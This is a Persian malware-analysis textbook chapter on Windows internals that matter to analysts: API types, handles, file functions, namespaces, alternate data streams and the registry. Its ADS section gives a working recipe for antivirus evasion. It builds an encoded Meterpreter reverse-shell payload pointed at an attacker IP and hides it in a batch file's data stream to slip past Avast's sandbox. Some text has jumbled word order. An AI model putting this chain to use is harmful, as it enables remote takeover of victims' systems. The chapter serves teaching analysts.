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 ی مخرب ویندوز   های برنامه : تحلیل  هشتم فصل  
.  نزدیکی دارند  عامل تعامل هسته این سامانهدهند و با  را مورد هدف قرار می  ویندوز  پلتفرم  بدافزارها  بیشتر

  میزبان   بر   مبتنی  هاینشانه  تا داد  خواهد  اجازه   شما  به  ویندوز نویسیبرنامه  1مفاهیم  از  عمیق  درک  یک  داشتن

 .  بدهید قرار شناسایی موردرا  آن اهداف و کنید دنبال  را افزاربددر ادامه  و  کرده شناسایی را 2بدافزار 

 خواهند  آشناها آن با ویندوز عاملسامانه اننویسبرنامه اصولا که دهدمی پوشش را  مختلفی مفاهیم فصل این

  مطالعه  مورد  هستیدویندوز    عاملسامانه  اننویسبرنامه  ء جز   اگر  حتی  را  فصل  این  شودمی  توصیه  حال  این  با  بود،

است،    یان شا.  بدهید  قرار عام  یا  یرمخربغ  یها برنامهعموماً  ذکر  اصطلاح  مشروع  افزارهای  نرم  یانهدر 

 ینشوند و همچنیم  یجادمناسب ا و ساختار  قالب  یک  در    یبه خوب  یلرها هستند که توسط کامپا  یی هابرنامه

 . کنندیرا دنبال م وسافتر یکماراهنماهای 

  ی دارا   ،اندافزارهایی که با اندیشه مخربانه طراحی و عملیات شدهها و در حالت کلی نرمبدافزار در آن سوی،  

به هر صورت، در  . دارندو غیرقانونی منتظره   یر غ یبه انجام کارها یلهستند و تما  یتر یفساختار ضع یا قالب 

کرده  فصل  ایناین   مورد  ویندوزهای  ویژگی  هاآن  طریق  از  بدافزارها  که  مفاهیمی  از  برخیایم  تلاش    را 

 . قرار بدهیم پوشش مورد ،دهندقرار می استفادهسوء

، لذا نباید انتظار داشت در یک فصل تمامی  استو با جزییات فراوان    پیچیدهبسیار    عاملسامانه  یک  ویندوز

  خواهیم   متمرکز   یهایویژگی  روی   فصل  این  در  ، از همین روی.  عامل را مورد پوشش قرار دادجزییات این سامانه

 .  هستند مرتبط بدافزار تحلیلتجزیه و   به بیشتر که شد

  و  کرده  شروع  را  خود  کار  ویندوز  عاملسامانه  رایج  3نویسیبرنامه  هایرابط  از  برخی  مرور  با  قسمت  این  در

  های نشانه  ایجاد  چگونگی  و  کند  ایجاد  تغییرات   عاملسامانه  در  دتوانمی  بدافزار  که  یهایراه  مورد  در  سپس

  بدافزار یک    که   مختلفی  های در ادامه راه  سپس.  کرد  خواهیم  گفتگو   و  بحث   بدافزار  توسط  میزبان  بر  مبتنی

  قرار   بحث   مورد   ، کند  اجرا  را   ی که در حال تحلیل آن هستیدفایل  از   خارج  یکدهاها  آن  به  استناد  با   دتوانمی

 
1 Concepts 
2 Host-based indicators 
3 Application Programming Interface 



 

  گفتگو   بیشتر  مخفیانه  کارهای  انجام  برای  کرنل  مُد  از  بدافزارها   استفاده  چگونگی  مورد  در  پایان  در.  داد  خواهیم

 . کرد خواهیم

 1ویندوز نویسیبرنامه های رابط

افزرها  یا در حالت کلی تمامی نرم  بدافزار   تعامل  کهتوابع هستند    از  ایمجموعه  ویندوز  نویسیبرنامه  های رابط

  قدر   آن   ویندوزنویسی  برنامه  های رابط.  دنکنمی  مدیریت را    مایکروسافت عامل ویندوز  سامانه  ی هاکتابخانه  با

  این  بر   علاوه.  دارند   دیگر  ی ها کتابخانه  از   استفاده به  نیاز  کم  خیلی  افزار نرم  دهندگانتوسعه  که  هستند  گسترده

  باید   که  کنندمی  استفاده  3قراردادهایی  و   ها نام  ،2اصطلاحات  از   ویندوز،نویسی  برنامه  های رابط  از   برخی  نکات،

 . داد خواهیم قرار  بررسی مورد رااین موارد   ادامه در. باشید آشناها آن با

 4ی ر ا گذاری مج وف و نشانه حر 

برنامه  5داده  انواع  نمایش  برای  ویندوز  نویسیبرنامه  هایرابط  بیشتر اختصاصی نام  از  C  نویسیزبان    های 

  WORDداده    نوعهای ویندوز  نویسی با استفاده از رابطدر برنامه  مثال،  عنوان  به.  کنندمی   استفاده  خودشان

داده    و(  short int)معادل    بیتی  16  صحیح  عدددهنده یک  نشان دهده یک عدد  نشان  DWORDنوع 

زبان    استانداردداده    عا نوا  شایان ذکر است،   .هستند  ( unsigned int)معادل    علامت  بدون   بیتی  32  صحیح

...    floatو    charو    unsigned int  و   int،  short  های نوع  C  نویسیبرنامه   حالت  در   که  هستندو 

های ویندوزی  داده، قسمتی از نوع  1در تصویر    .گیرندمین  قرار  استفاده  موردنویسی ویندوز  در برنامه  فرضپیش

 کنید.هستند، مشاهده می Cهای ( برای نوع دادهtypedefکه در حقیقت یک تعریف نوع مجدد )

مشخص کردن    برای  ی مجار  گذاری نشانه  از  ویندوز   عاملسامانه  در  نویسیبرنامهسازی  همچنین به منظور ساده

  الگوی   یک  از   گذارینشانهدر این نوع  .  ودشمی  استفاده  API  توابع نوع پارامترهای ورودی و همچنین خروجی  

به عنوان مثال، در این الگوی    .کندمی  ساده  را  متغیر  یک  نوع   شناسایی  کهشود  می  استفاده  پیشوندی  نامگذاری 

  DWORD  به عبارت دیگر   یا   علامت   بدون   بیتی  32  صحیح  عدد   یک  شامل  که   ییمتغیرهاگذاری  نشانه

 
1 The Windows API 
2 Terms  
3 Conventions 
4 Types and Hungarian Notation 
5 Data Types / Variable Types 



 

  DWORD  نوع  از  متغیر  این  شوید  متوجه  آن  به  استناد  با  یدبتوان  که  شوندمی  آغاز  dw  پیشوند  یک  با  شوندمی

 . است

 
 های ویندوزیتعریف مجدد نوع داده: 1تصویر 

د  نتوانمی  اوقات  گاهیولی   کندمی  آسان  را  کدها  و تحلیل  تجزیه   و   متغیرها   نوع   شناسایی  ی رمجا  گذاری نشانه

  است  ذکر  شایان)دهد  نشان می  ،هستند  رایج  کهرا    ویندوز  نویسیبرنامه  هایرابط  ع ا نوا  1  جدول   .دنشو  بالعکس

  درهمچنین    )درون پرانتز( به همراه توضیحات  هاپیشوند این نوع داده(.  است   لیست  این  از  بیشها  آن  تعداد

 . اندآورده شده 1جدول 



 

 وز یندنویسی کاربردی رایج وهای برنامهانواع رابط :1جدول 

 توضیحات  پیشوند نوع و 

WORD (w)  بیتی است. 16یک مقدار بدون علامت 

DWORD (dw)  بیتی است. 32یک مقدار بدون علامت 

Handles (H)   یا هندل  داده  یک  گر  اشارهیک    Handleنوع  درون    آبجکت به  ویندوزی 
نوع هندل توسط مایکروسافت اطلاعات  شایان ذکر است،  است.  فضای کرنل  

است  سازیمستند است، نشده  قابل ذکر  توسط    هاهندل  . همچنین  باید  فقط 
 نوع دادهدستکاری قرار گیرند.  استفاده و  نویسی ویندوز مورد  برنامه  هایرابط 

HMODULE ،HINSTANCE   وHKEY  هستند.نوع داده از این جمله 

Long Pointer (LP)  اشاره یک  پیشوند  مثال، این  عنوان  به  است.  دیگر  داده  نوع  یک  به  گر 

LPBYTE   باشد و  گر به یک بایت می اشارهLPCSTR  گر به یک یک اشاره

هستند، زیرا در حالت واقعی یک   LPها معمولا دارای پیشوند  رشته است. رشته 

 Pبیتی واژه  32ی هاسامانهها، گاهی اوقات در گر هستند. علاوه بر ایناشاره

بیتی   32ی  ها سامانهمشاهده خواهید کرد که این اتفاق فقط در    LPرا به جای  

 افتد اما در اصل با هم مشابه هستند و هیچ تفاوتی ندارند.  می

Callback  می نمایش  را  رابط تابعی  توسط  که  برنامهدهد  فراخوانی  های  ویندوز  نویسی 

تابع   مثال،  عنوان  به  شد.   InternetSetStatusCallbackخواهد 
وضعیت اینترنت را   دهد که هرگاه سامانهبه یک تابع عبور می را    یگراشاره

 فراخونی شود.  ،روزرسانی کندبه 

 

 1هاهندل 

ها،  ، ماژولهاپروسهها،  ، همچون پنجرهشوندمیباز یا ایجاد    عاملسامانهکه توسط    هستندهایی  ها آیتمهندل

یا    آبجکت هستند که به یک    یی هاگراشارهمانند    هاهندلآیند.  و... که از این قبیل به شمار می  هافایل  منوها،

 . ندنکمیجایی از محل حافظه اشاره  

قرار گیرند و  2یاتهای محاسبعملیاتند در  توانمینها  هندلها،  گراشارهبه هر حال، برخلاف   استفاده    مورد 

انجام دهید این است  ها هندلید با توانمیکه کاری . تنها دهندمیرا نمایش ن آبجکت سهمیشه آدر همچنین 

 استفاده کنید.  ،دنکنمیاشاره  آبجکتبعدی که به همان  توابعدر فراخوانی   هاذخیره کرده و از آنرا  هاآنکه 

 
1 Handles 
2 Arithmetic Operations  



 

 HWND دادهمقدار از نوع  است. این تابع یکهندل  یک مثال ساده از یک   CreateWindowEx تابع

بخواهد کاری با  نویس  برنامه. هرگاه  کردیک پنجره را کنترل  توان با استفاده از آن  میکه  دهد  بازگشت می

برنامه  پنجره رابط  توسط  شده  دهد   CreateWindowExنویسی  تولید  تابع  ،انجام  فراخوانی  قبیل   از 

DestroyWindows  استفاده به  نیاز  پنجره،  بستن  توسط    از  برای  شده  داده  بازگشت   تابعهندل 

CreateWindowsEx    .خواهد داشت 

به مستندات    نکته: از  مایکروسافت شما نمیبا توجه  به عنوان    HWNDتوانید 

اشاره توابع  یک  برخی  حال،  این  با  کنید.  استفاده  محاسباتی  مقدار  یک  یا  گر 

گر مورد استفاده قرار  توانند به عنوان اشارهد که میندهرا بازگشت می  هایهندل 

 اشاره خواهیم کرد.به این نوع توابع گیرد. در این فصل 

 

 1فایل  سامانه توابع  

  تغییر  وتعویض    یا  و  هافایل  تغییر  یا  ایجاد  کنندمی  برقرار  تعامل  سامانه  با  بدافزارها  که  هاراه  ترینرایج  از  یکی

با    یکهای  فعالیت  . دارند  وجود  عاملسامانه  در  که   است   ییهافایل  نام تعامل  منظور  به  درفایلبدافزار    ها 

  یک   بدافزار   یک  اگر   مثال،  عنوان   به .  باشد  بدافزار  یک  عملکرد  تشخیص  برای   امتیاز یک دتوانمی  عاملسامانه

  افزار جاسوس  یک   بدافزار  که  گرفت  نتیجه   توان می  ،کند  ذخیره  آن  در   را  مرورگر  اطلاعات  و  کند  ایجاد  فایل

 . هستند زیر شرح   به  که دهدمی ارائه  فایل سامانه به دسترسی برای مختلفی توابع  مایکروسافت. است

 CreateFileتابع 

، 2ها استریم،  هافایل  د برای باز کردنتوانمی. این تابع  شودمیاستفاده    ها فایلاز این تابع برای ایجاد و باز کردن  

شایان ذکر است،  ی جدید مورد استفاده قرار گیرد.  ها فایل  و ایجاد  4هاپایپ،  3ورودی و خروجی  هایدستگاه 

که آیا تابع یک فایل ایجاد یا باز کرده    کندمیاین تابع، کنترل  در     dwCreationDispositionپارامتر  

 
1 File System Functions 
2 Streams 
3 I/O Devices 
4 Pipes 



 

ها مشخص کننده نوع رفتار  کند که هر کدام از آنتا پارامتر به عنوان ورودی دریافت می  7البته این تابع    است.

 فایل خواهند بود. یک  در هنگام ایجاد  CreateFileتابع 

 WriteFile و   ReadFile توابع

  استریم به عنوان    هافایلها روی  آن. هر دوی  شودمیاستفاده    ها فایل  از این توابع برای خواندن و نوشتن در

یک فایل    ابتدایی   ، چند بایت کنیدمیرا فراخوانی    ReadFileبرای اولین بار تابع    کههنگامی.  کنندمیعمل  

 ی گذشته( را خواهید خواند.  هابایت)ادامه    فراخوانی کنید، چندین بایت بعدیرا    آنخوانید؛ دفعه بعدی که  را می

بایت    40ابتدا  فراخوانی کنید.  بایت    40را با اندازه    ReadFileا باز کنید و تابع  به عنوان مثال، اگر یک فایل ر

عملیات خواندن را از بایت چهل و یکم    این تابعفراخوانی کنید،  را    آندفعه بعد که  شود اما  اول تابع خوانده می

تابع پرش به اطراف یک فایل دشوار  با استفاده از این  ید تصور کنید،  توانمیکه    طور همان.  خواهد کردشروع  

 . است

 MapViewOfFileو  CreateFileMappingتوابع 

  ،گیردمی  قرار   استفاده  مورد  مخرب  هایافزارنرم  اننویسبرنامه  توسط  رایج  طورهب  در حافظه  1ویژگی ترسیم فایل 

شایان  .  کنند  دستکاری را    آن  راحتی  به  و  کرده  بارگذاری  حافظه  درون  را  فایل  یک  دهدمی  اجازهها  آن  به  زیرا 

 سپس  و   کندمی  بارگذاری  حافظه  درون  دیسک  از  را  فایل  یک  CreateFileMapping  تابعذکر است،  

توسط    حافظه   در  شده  ترسیم  فایل  )آدرس ابتدایی(   پایه   آدرس  به  گریک اشاره  MapViewOfFile  تابع

CreateFileMapping دهد.  بازگشت می را 

  حافظه   در  فایل   به  دسترسی  برای   دتوانمی  MapViewOfFileگر بازگشت داده شده توسط  در ادامه اشاره

  گراشاره  از   ندتوانمی  ،کنندمی  فراخوانی   را   توابع   این  که   ی هایبه هر صورت، برنامه.  گیرد  قرار   استفاده   مورد

  این .  کنند  استفاده  فایل   یک  موقعیت از   هر  در  نوشتن  و   خواندن  برای  MapViewOfFile  تابع   بازگشتی

  حافظه  از  آدرس  هر   به  راحتی   به  یدتوانزیرا می  است،  سودمند  العادهفوق  2فرمت   فایل  یک  تجزیه   هنگام  ویژگی

 . کنید پرش

 
1 File mappings 
2 Parsing a file format 



 

فایلنکته:   ترسیم  شبیه  1ویژگی  برای  متناوب  لودر    2سازیبه صورت  عملکرد 

ویندوزسامانه می  3عامل  قرار  استفاده  نقشه مورد  آوردن  دست  به  از  بعد  گیرد. 

را پارز کند    PE  های فرمت فایلتواند هدرترسیم یک فایل در حافظه، بدافزار می

و تمامی تغییرات مورد نظر خود را بر روی آن اعمال کند تا در نهایت بتواند فایل  

دریافت کند. با نامه  از آن برمورد نظر را اجرا کرده و خروجی مورد نظر خود را  

 لودر ویندوز خواهند رسید. اجرای فایل توسط  این رویکرد، به خروجی مشابه 

 4ویژه   یها فایل 

  این با گیرند قرار دسترس در  معمولی یهافایل شبیه بسیار ندتوانمی که است خاصی یهافایل  دارای ویندوز

  (c:\docs  مانند)  سامانه  درایوهای   حروف  طریق  ازعامل ویندوز  های معمولی سامانهها مانند فایلکه آنتفاوت

بیشتری    دقت  با  ادامه  در  را  موضوع  اینلذا    باشد،  عجیب  کمی  مفهوم  این  شاید  گیرند. البتهمین  قرار  دسترس  در

 سری  یک  تا  کنندمی  استفاده  ویژه  یها فایل  نوع  این  از  اغلب  مخرب  هایبرنامه.  کرد  خواهیم  بررسی

کنیم  می  توصیف  را   5داده  جریان   جایگزینی  که   قسمتی  در  مثال   عنوان   به .  بدهند  انجام   را  مخفی  هایعملیات

 .  داد میخواه نمایش  را  ویژگی این  به استناد با مخربانه کارهای  از  نمونه یک

  محتویات  در ها  آن  زیرا   دهند،  انجام  عملیات   خود  هاینوع  هم   از  تر مخفیانه  ندتوانمی  ویژه   یها فایل  برخی

  افزار سخت  به   عالی  دسترسی  همچنین  ند توانمی  ویژه  یها فایل  از   برخی.  شوندمین  داده  نمایش   ها دیرکتوری

  دادهی عبور  تابع  هر   به   رشته عنوان  به  ندتوانمی ویژه ی هافایلهمچنین   .دهند  ارائه  6درونی   های داده  و   سامانه

  اشتراکی،   ی هافایل  ادامه  در.  دهند  انجام   عملیات(  باشد  معمولی  فایل  یک  آن  اگر )  فایل  یک  روی   و  شوند

 . را بررسی خواهیم کرد داده جریان جایگزینی و ها نام فضای  طریق از   دسترس قابل  یهافایل

 
1 File mappings 
2 Replicate  
3 Windows loader  
4 Special Files 
5Alternate data streams 
6 Internal data 



 

 1ی های اشتراک فایل 

شروع    serverName\share\?\\یا    serverName\share\\  هاینامهای اشتراکی که با  فایل

اشتراکی    دیرکتوریدر یک   شده  یرهذخیی  هافایل  یا  هادیرکتوریبه  ها  آن  ی ویژه هستند.هافایل  ، جزءشوندمی

را متوقف  ها  رشتهکه تجزیه تمامی    گویدمی  عاملسامانهبه    \?\\. پیشوند  دهندمیدرون شبکه دسترسی ارائه  

   بدهد. را  طولانی یهانامدسترسی به  اجازه  کند و

 2ها نام   یفضا  یققابل دسترس از طر   هاییل فا

طریق  فایلویندوز  عامل  سامانهدرون   از  اضافی  هسها  Namespaceهای  دسترس  تند.  قابل 

Namespace  آبجکتدر نظر گرفت که هر کدام یک نوع    توان میثابت    دیرکتوریبه عنوان یک تعداد  ها  

  است  \شوند  یبا پ  NT  ویندونز  عاملسامانهدر    Namespaceترین  پایینسطح  کنند.  میرا ذخیره    مختلف

 دارد.  را موجود درون خودها Namespaceو دیگر  هادستگاهدسترسی به تمامی که 

از آدرس که به صورت رایگان    WinObj Object Managerاز برنامه   نکته :

(https://aiooo.ir )  به منظورقابل دریافت است، می و بررسی   مرور  توانید 

دیگر  NTنام  فضای عبارت  به  سامانه  NT namespace  یا   ویندوز   عاملدر 

 استفاده کنید.

  های دستگاهبه  مستقیم  برای دسترسی    بدافزارهااغلب توسط  ،  \\.\پیشوند  با    3Win32  دستگاه  نامفضای

. به عنوان  گیرند میمورد استفاده قرار  معمولی  یک فایل  مشابه  ها  آن  خواندن و نوشتن درهمچنین  فیزیکی و  

به منظور    PhysicalDisk1\.\\  آدرس  ازتواند  می  فایل  حتی با در نظر نگرفتن سامانهمثال، یک برنامه  

معمولی و استفاده از توابع    هایراهاز    در حالیکه  سپس.  استفاده کند  PhysicalDisk1مستقیم به  دسترسی  

به بدافزار  این روش    ،غیر ممکن استمخرب بر روی دیسک توسط بدافزار    انجام عملیات  عاملسامانهساده  

در یک    بدافزاربا استفاده از این روش،    ایجاد کنید.   مورد نظر خود را   در دیسک سخت تغییرات  دهدمیاجازه  

 
1 Shared files 
2 Files Accessible via Namespaces 
3 Win32 device namespace 



 

نداده شده استدیسک سخت  سکتور   آن حافظه تخصیص  به  داده    یی توانا  ،که  نوشتن  و  دست  بهخواندن 

.  تواند در دیسک تغییرات ایجاد کندمی  ،که فایلی ایجاد کند یا به فایلی دسترسی پیدا کندو بدون آنآورد  می

امنیتی بسیار سخت    هایبرنامهو    هاضدویروستوسط  بدافزارها    شناسایی  شودمیین باعث  چنهم این ویژگی  

 شود.

از طریق    Device\PhysicalDisk1\به  با دسترسی    پیش چندین سال    Wittyبه عنوان مثال، کرم  

NT namespace    این کرم.  شدمیل هدف  یفا   سامانهباعث تخریب  \Device\PhysicalDisk1    را

بازهرکمیباز   در  و  آن  د  در  منظم  زمانی  میهای  پایان سپس    ،نوشتداده  خود  در  تخریب  باعث    عملیات 

چون  این کرم دوام زیادی نیاورد،  شایان ذکر است،    .شدمیل  معا  سامانهیا عدم بارگذاری    هدف و   عاملسامانه

آسیب  توانست  این کرم    اما به هر صورت   شدخراب میقبل از آنکه گسترش پیدا کند    خودش را قربانی    سامانه

به   کند  هاسامانهزیادی  از    بدافزارها   .وارد  حافظه  از  مستقیم  دسترسی  منظور  به  همچنین 

\Device\PhysicalMemory    در    دهدمیکه به برنامه موجود در فضای کاربر اجازه    کنندمیاستفاده

و مخفی ساختن بدافزار در فضای   کرنلبرای نوشتن در  بدافزارهااطلاعات بنویسد. از این روش  کرنلفضای  

 .کنندمیکاربر استفاده 

است،  ش  نکته: ذکر  شروع  ایان    یگرد  Windows 2003 SP1با 

\Device\PhysicalMemory  فضا ن  ی از  قابل دسترس  ایستکاربر  با    ین . 

 کرنل   ی از فضا  Device\PhysicalMemory\هنوز به    یدتوانحال، شما می

م   یریدبگ  یدسترس اجازه  شما  به  پایکه  سطح  اطلاعات  به  قب  یینیدهد   یل از 

 . یدداشته باش سترسید  BIOS و کد یکربندیاطلاعات پ

  1جایگزینی جریان داده 

خانواده مایکروسافت معرفی گردیده   هایعاملسامانهدر   NTFSفایل  سامانهجایگزینی جریان داده با معرفی 

قدیمی مکینتاش ایجاد    2مراتبی  فایل سلسله   سامانهیا    HFSفایل    سامانهاست. این قابلیت برای سازگاری با  

 
1 Alternate Data Streams 
2 Hierarchical File System 



 

شد. در حالت کلی کاربران از جایگزینی جریان  گردید که برای ذخیره اطلاعات منابع یک فایل استفاده می

  بخش    ند استفاده کنند که در این  توانمیاز قبیل مخفی سازی یک فایل و...    کارهاییداده به راحتی برای انجام  

 با این روش آشنا خواهید شد.

  روی مخرب خود را به راحتی هایعملیات نفوذگرانکه  دهدرا می نا حائز اهمیت است و این امکای که نکته

قابلیت تزریق یک فایل و    "جایگزینی جریان داده"ویندوز انجام بدهند این است که قابلیت    هایعاملسامانه

ارائه    ،اضافه کردن اطلاعات مد نظرمان به فایل را بدون آنکه تاثیری بر قابلیت فایل و اندازه آن گذاشته شود

 .   دهدمی

از جایگزینی جریان داده   ابتدا شروعی بر استفاده  با  یو سپس نشان خواهکنیم  میدر این قسمت  م داد که 

  Avast Sandboxیا به عبارت دیگر    Avastشنی ضدویروس  جعبه  توانید می  ه استفاده از این قابلیت چگون 

با اطلاعات عمومی    هاضدویروسقابل ذکر است که در این قسمت متمرکز روی مباحث دور زدن    را دور بزنید.

با استفاده از این قابلیت   Avast محافظتی سامانهنخواهیم شد. در هر حال، هدف اصلی فقط روش دور زدن 

متاسپلویت   فریمورک سرویس پک دو و از  XPویندوز   عامل سامانهبرای آزمایش این مبحث ما از یک  .است

 استفاده خواهیم کرد. ان برای راهبری اهدافم

  یدهد که رویاجازه م  یتامن  ینبه متخصص  یتمتاسپلو  یتیفریمورک امن  نکته:

تمرکز کنند.    ایرایانه  یها سامانه  ینفوذگر  یاو حرفه  ی تخصص  یلیخ  یهاجنبه 

و    یتیمختلف امن  ی دهد، از نقطه نظرهایبه آنها اجازه م  ینفریمورک همچن  ین ا

 یتی امن  یهاو ضعف  هندقرار بد  یرا مورد بررس  ایرایانه  یهاسامانه  یرینفوذپذ

  یتاکسپلو  یکدها  ی کشف شده، به سادگ  یتیامن  یهاضعف  یها را کشف و برا آن

میکنند  دیتول  یدار پا فریمورک  این  با  آشنایی  منظور  به  آدرس .  به  توانید 

(www.aiooo.ir رفته و کتاب راهنمای فریمورک امنیتی متاسپلویت نوشته )

 میلاد کهساری الهادی را به صورت رایگان دانلود کنید و مورد مطالعه قرار بدهید. 



 

 جایگزینی جریان داده 

را به درون    یک متن  echoو با دستور  کنیم  می( یک فایل ایجاد  <)استفاده از دستور تغییر مسیر    در ابتدا با

در محیط خط فرمان    sample.txtسپس برای دیدن محتویات فایل  .  کنیممیمنتقل    Smaple.txtفایل  

(CMDسامانه )  از دستور یم توانمیعامل ویندوزType استفاده کنیم.   

c:\Users\clightning> echo this is a test file > sample.txt 

c:\Users\clightning> type sample.txt 

this is a test file 

c:\Users\clightning> 
 ایجاد فایل بر روی سامانه فایل ویندوز :1لیست 

 . کنیماستفاده میبرای ساخت یک فایل پنهان با استفاده از قابلیت جایگزینی جریان داده از دستور زیر  در ادامه  

c:\Users\clightning> echo C3PHALEX1N > sample.txt:hide.txt 

 ایجاد فایل مخفی با جایگزینی جریان داده: 2لیست 

  notepadجاد شد. حال اگر فایل را با استفاده از  اییت  ، فایل با موفقدادهقابلیت جایگزینی جریان    با استفاده از

فقط متنی که ابتدا ایجاد کردیم در آن موجود است. برای باز کردن فایل متنی  خواهیم کرد  باز کنیم مشاهده  

را اجرا کنید تا فایل متنی با برنامه    startدستور  عامل ویندوز  در محیط خط فرمان سامانه  کافی استهم  

 خود ویندوز است.  notepadی متنی ها فایل در اینجا برنامه پیشفرض برایشود.  باز  سامانه فرضپیش

c:\Users\clightning> start sample.txt 

 notepadاجرای فایل متنی در : 3لیست 

باید دستور    ،است  شدهجاد  ای   دادهبرای دیدن محتوای فایل پنهان که با استفاده از قابلیت جایگزینی جریان  

 زیر را در خط فرمان اجرا کنید.

c:\Users\clightning> start .\sample.txt:hide.txt 

 اجرای فایل مخفی توسط جایگزینی جریان : 4لیست 

و به این موضوع    گرددمی، فایل با استفاده از جایگزینی جریان داده اجرا  کنیممیوقتی که ما دستور بالا را اجرا  

  \.هم دقت داشته باشید که برای اجرا کردن فایل با استفاده از جایگزینی جریان داده باید قبل از مسیر فایل  

 .شودمیوارد گردد وگرنه فایل باز ن



 

  پشتی در یک  ایجاد

سرویس پک دو در حال    XPهدف که روی آن ویندوز    سامانهکنیم که از  میدر این قسمت ابتدا باید سعی  

به  ، ستا  اجرا  اینجا  در  که  بگیریم  تعریف    دسترسی  پیلود  یک  زیر  ماژول  کرده  شکل  از  استفاده  با  و 

shikata_ga_ni  هدف    و سپس آن را به منظور نفوذ به سامانه  میکنرمزنگاری میرا    آنلویت  پدر متاس

 . دهیممورد استفاده قرار می

ی  ارذگ رمزتنها    Shikata_ga_naiار  ذگرمز:  Shikata_ga_nai  گذاررمز 

که همین موضوع    باشدمی  1متاسپلویت دارای رتبه عالیفریمورک  ست که در  ا

در   ماژول  این  قدرت  کننده  این  اکدها  شلی  ار ذگرمزاثبات  این  ار  ذگرمزست. 

. کنیدی ار ذگرمزمنبعی مخرب خود را های دهد که کدمیارائه قابلیت را به شما  

خود استفاده درپشتی  ار  ذگرمزدر این قسمت از این ماژول برای  از همین روی  

 . خواهیم کرد

 اجرا کنید.  Parrotیا  Kaliعامل سامانهدستور زیر را در کافیست شده  نگاری برای ساخت پیلود رمز

kcoope@kali:/# msfpayload windows/meterpreter/reverse_tcp_dns 

LHOST=192.168.1.100 LPORT=12345 R | msfencode --e x86/shikata_ga_nai -c 1 -t 

exe -o /root/Desktop/kcoope/Apache.exe 
 دستور ایجاد شلکد توسط متاسپلویت :5لیست 

را    Avastضدویروس  ی مخرب  ها فایل  آوری هوشمند کشفباید بتواند فن  فرضاین شلکد در حالت پیش

های  دور زدن تکنیک  هایروش  روی  هدف ما در این قسمت تمرکز   به این نکته توجه داشت، دور بزند. البته باید  

برای   Petigui 2.3بند بستهبرای انجام این عملیات ما از شایان ذکر است، ی مخرب نیست. ها فایل کشف 

 .کنیممیاستفاده  Avast ضدویروس دور زدن موتور بندی شلکد خود و همچنین بسته

 
1 Excellent 



 

 

 Avastتوسط ضدویروس  Apache.exeنتیجه پویش شلکد : 2 تصویر

خطر  را بیشلکد ما  که  کنید  را مشاهده می  Avast  ضدویروس  نتیجه پویش فایل آلوده توسط  2  تصویردر  

  ضدویروس   Sandboxیا    شنیجعبه  ،کنیدمیرا اجرا    این شلکد مخربکه  اما زمانی.  است  شناسایی کرده

Avast  گیردو جلوی اجرای محموله عملیاتی ما را می شودمیفعال . 

 
 Avastشنی فعال شدن جعبه: 3 تصویر

که شلکد ما    Apache.exeفایل    Avastشنی ضدویروس  کنید، جعبهمشاهده می  3تصویر   که درهمانطور

دهد. در ادامه  شنی حالا دیگر امکان هیچ فعالیتی را به بدافزار ما نمیاست را مخرب شناسایی کرد. این جعبه

    .نحوه دور زدن آن را بررسی خواهیم کرد

 داده  جریانبا استفاده از جایگزینی  Avast شنیجعبه دور زدن

با فرمت    Avastضدویروس    شنیجعبهدور زدن    به منظور فایل  ایجاد کنیم که حاوی    Batchباید یک 

های شل اسکریپت لینوکس  در ویندوز مانند فایل  Batchهای  شایان ذکر است، فایل  .باشدمحتویات زیر  

 توانند در بر گیرند و به صورت خودکار اجرا کنند. هستند که دستورات ترمینال را می



 

@echo off 

start .\Apache.bat:Apache.exe 
 محتویات فایل بچ :6لیست 

 .ید با دستور زیر جریان داده را جایگزین کنیدتوانمیحال که فایل را ایجاد کردید 

c:\Users\clightning> type Apache.exe > Apache.bat:Apache.exe 

 جایگزینی جریان داده: 7لیست 

اجرا کنید، مشاهده خواهید کرد که  بالا  وقتی که دستور   با   شودمیدور زده    Avast  شنیجعبهرا  و شلکد 

 .شوداجرا می موفقیت روی سامانه

 
 دور زوده شد Avastشنی جعبه :4 تصویر

 :avast! Antivirusپیام  و    دور زده شد  Avast شنیجعبه  که خیلی ساده  کنیدمیمشاهده    4  تصویر ر  د

Your system is secured   هم مشاهده    5تصویر در . همچنین  صادر شده است توسط این ضدویروس

 مهاجم اتصال معکوس برقرار کرده است.  سامانهقربانی با   سامانهکه  کنیدمی

 
 مهاجم و قربانی  برقراری اتصال معکوس بین سامانه  :5 تصویر

د توسط  توانمیمخرب بود که    هایعملیاتاین یک نمونه استفاده از قابلیت جایگزینی جریان داده برای انجام  

های جدید سامانه عامل ویندوز و همچنین محصولات  البته در نسخه  نویسندگان بدافزار به خدمت گرفته شوند.

به سادگی نمی از چنین ویژگیامنیتی دیگر  بدافزار  برای مخفی  یهای توانید  پیلودهای مخرب  سازی  خود  یا 

توانند از  استفاده کنید. ولی به هر صورت، در این بخش قصد ما این بود که نمایش بدهیم چطور مهاجمین می

 ویندوز برای اهداف مخرب خود استفاده کنند.  معمولی های ویژگی



 

 1رجیستری ویندوز

ها از قبیل تنظیمات  برنامهپیکربندی  همچنین اطلاعات  و    لعامسامانهاطلاعات    ذخیرهرجیستری ویندوز برای  

، رجیستری یک نشانه مبتنی بر میزبان بسیار عالی است  2فایل   سامانه. مشابه  شودمیاستفاده    ی آنانها و گزینه

  .د اطلاعات بسیار عالی از عملکردهای بدافزار به ما ارائه بدهدتوانمیو 

از   ابتدایی  هاینسخه . رجیستری به  کنندمیاستفاده    پیکربندیبرای ذخیره اطلاعات    iniی  هافایل  ویندوز 

پیدا  اهمیت  استفاده از آن   اما امروزه  رای بهبود عملکرد ساخته شده بود عنوان یک پایگاه داده سلسله مراتبی ب

است برای    هایبرنامهبیشتر    زیرا  کرده  آن  از  تقریباًکنندمیه  استفادخود    اطلاعات  ذخیرهکاربردی  تمام    . 

پیکر وینددبناطلاعات  اطلاعات شبکه ی  از جمله  درایورها 3وز  استارت4،  کاربری ، حساب5آپ ،  دیگر    6های  و 

 .شوندمیاطلاعات در رجیستری ذخیره 

  ا شایان ذکر است، عموم.  کنندمیاستفاده    پیکربندییا اطلاعات    7اغلب از رجیستری برای ماندگاری   بدافزارها

را در هنگام    انخودش  دهدمیاجازه   هابه آن  د کهنافزایمیعامل ویندوز  سامانهبه رجیستری    عناصری  هابدافزار

بسیاری    های راهند. رجیستری بسیار عظیم و بزرگ است و  نک  بارگذاریبه صورت خودکار    عامل سامانه  اندازی راه

  بررسی دقیق قربانی استفاده کند. قبل از  سامانهخود در  برای ماندگاریها آن د ازتوان میوجود دارد که بدافزار 

ه منظور درک مستندات مایکروسافت  بها  آن  برای رجیستری وجود دارد که باید با اصطلاح رجیستری، چندین 

 . اندشدهواژگان تشریح  اینید. در قسمت زیر شآشنا با

